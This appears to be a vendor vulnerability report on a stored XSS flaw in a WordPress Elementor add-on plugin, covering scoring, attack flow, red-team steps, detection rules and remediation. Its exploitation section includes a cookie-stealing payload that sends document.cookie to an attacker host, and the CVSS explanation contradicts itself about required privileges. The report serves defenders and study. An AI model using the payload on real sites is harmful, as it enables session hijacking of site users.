CVE-2024-43210
Executive Summary
CVE-2024-43210 is a Stored Cross-Site Scripting (XSS) vulnerability in the LA-Studio Element Kit for Elementor WordPress plugin, affecting versions up to and including 1.3.9.2. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into pages, which are then executed whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the widespread use of Elementor page builder, this poses a significant risk to WordPress sites using this plugin. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. No known supply chain compromise has been reported for this specific CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low - No special conditions are required.
- Privileges Required (PR): None - The attacker does not need prior authentication to trigger the stored XSS, but they need to be able to inject the payload (requires contributor-level access).
- User Interaction (UI): Required - The victim must visit the compromised page.
- Scope (S): Changed - The impact extends beyond the vulnerable component.
- Confidentiality (C): Low - Limited information disclosure possible.
- Integrity (I): Low - Limited ability to modify content.
- Availability (A): Low - Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the requirement for user interaction and contributor-level access reduces the immediate threat. However, in a WordPress environment with multiple authors, the risk is elevated.
Deep Dive & Mechanics
The vulnerability exists in the LA-Studio Element Kit for Elementor plugin, which extends the Elementor page builder with additional widgets and features. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and rendering it on the frontend. Specifically, the vulnerability is likely in one of the custom widgets that accept user input (e.g., text fields, HTML blocks, or custom CSS/JS fields).
Attack Flow:
- An attacker with contributor-level access (or higher) logs into the WordPress admin panel.
- The attacker creates or edits a page/post using Elementor and adds a vulnerable widget from the LA-Studio Element Kit.
- The attacker injects a malicious JavaScript payload into an input field (e.g., a text field, URL field, or custom attribute).
- The plugin stores the payload in the WordPress database without proper sanitization.
- When any user (including administrators) visits the page, the malicious script executes in their browser context.
- The attacker can then steal session cookies, redirect users to malicious sites, deface the page, or perform other malicious actions.
Root Cause: The plugin uses functions like esc_attr() or esc_html() incorrectly, or fails to use them at all, allowing raw HTML/JavaScript to be stored and rendered.
Vulnerable vs. Patched Code
Since no official patch is available, we can only hypothesize the fix. The vulnerable code likely looks like:
Vulnerable Code (PHP):
// In a widget's render() method
$text = $settings['custom_text'];
echo '<div class="custom-text">' . $text . '</div>';
Patched Code (Hypothetical):
// Properly escape output
$text = $settings['custom_text'];
echo '<div class="custom-text">' . esc_html( $text ) . '</div>';
The fix would involve using WordPress's built-in escaping functions like esc_html(), esc_attr(), wp_kses_post(), or wp_kses() depending on the context.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress site with LA-Studio Element Kit for Elementor <= 1.3.9.2 installed and active.
- Contributor-level account or higher.
Step-by-Step Exploitation:
- Login to WordPress admin panel with contributor credentials.
- Create a new page or edit an existing one using Elementor.
- Add a vulnerable widget from LA-Studio Element Kit (e.g., "Custom Text" or "HTML Block").
- Inject payload into a text field:
Or a more malicious payload:<script>alert('XSS')</script><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Publish the page.
- Wait for an administrator or other user to visit the page.
- Capture the stolen data (e.g., cookies) on your attacker-controlled server.
Proof-of-Concept (PoC) Script:
# Simple Python script to demonstrate the attack (requires requests library)
import requests
# Replace with actual WordPress site and credentials
site_url = "http://target-site.com"
username = "attacker"
password = "password123"
# Login
session = requests.Session()
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': site_url + '/wp-admin/',
'testcookie': '1'
}
session.post(site_url + '/wp-login.php', data=login_data)
# Create a page with XSS payload (simplified - actual Elementor API is more complex)
# This is a conceptual example
payload = '<script>alert("XSS")</script>'
# ... use Elementor API to create page with payload ...
print("Page created with XSS payload")
Blue Team (Defender)
Detection Steps:
- Monitor WordPress logs for unusual page edits by low-privilege users.
- Scan pages for suspicious JavaScript or HTML content using tools like WPScan or custom scripts.
- Check database for stored XSS payloads:
SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%' OR post_content LIKE '%onerror=%'; - Review Elementor templates for malicious content.
Honeypot Setup:
- Create a fake admin user with a honeypot cookie.
- Monitor for any requests to external domains from the WordPress site.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains (e.g.,
attacker.com). - Unusual
Refererheaders pointing to pages with Elementor widgets.
Host IOCs:
- Presence of
<script>tags or event handlers (e.g.,onerror,onload) in WordPress post/page content. - Modified
wp_poststable entries with suspicious HTML/JavaScript. - Unexpected files in
wp-content/uploads/orwp-content/plugins/la-studio-element-kit-for-elementor/.
File IOCs:
- Plugin files with suspicious modifications (check file integrity via checksums).
Detection Engineering
YARA Rule
rule CVE_2024_43210_Stored_XSS {
meta:
description = "Detects stored XSS payloads targeting LA-Studio Element Kit for Elementor"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-43210"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/i
$xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/i
$xss4 = /javascript\s*:/i
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: Stored XSS via LA-Studio Element Kit for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts/pages
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-43210
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-43210 Stored XSS Payload Detected"; flow:to_server,established; content:"<script>"; nocase; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict user roles - Only allow trusted users to have contributor access or higher.
- Implement Web Application Firewall (WAF) rules to block common XSS payloads.
- Use a security plugin like Wordfence or Sucuri to monitor and block malicious activity.
Long-term Fix:
- Update the plugin to a patched version once available (check the WordPress plugin repository or vendor site).
- Apply input validation and output escaping in custom code if you are a developer.
- Conduct regular security audits of all installed plugins.
Workaround:
- If the plugin is critical, consider using a different Elementor add-on that provides similar functionality but is actively maintained and patched.
Valters IT - This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.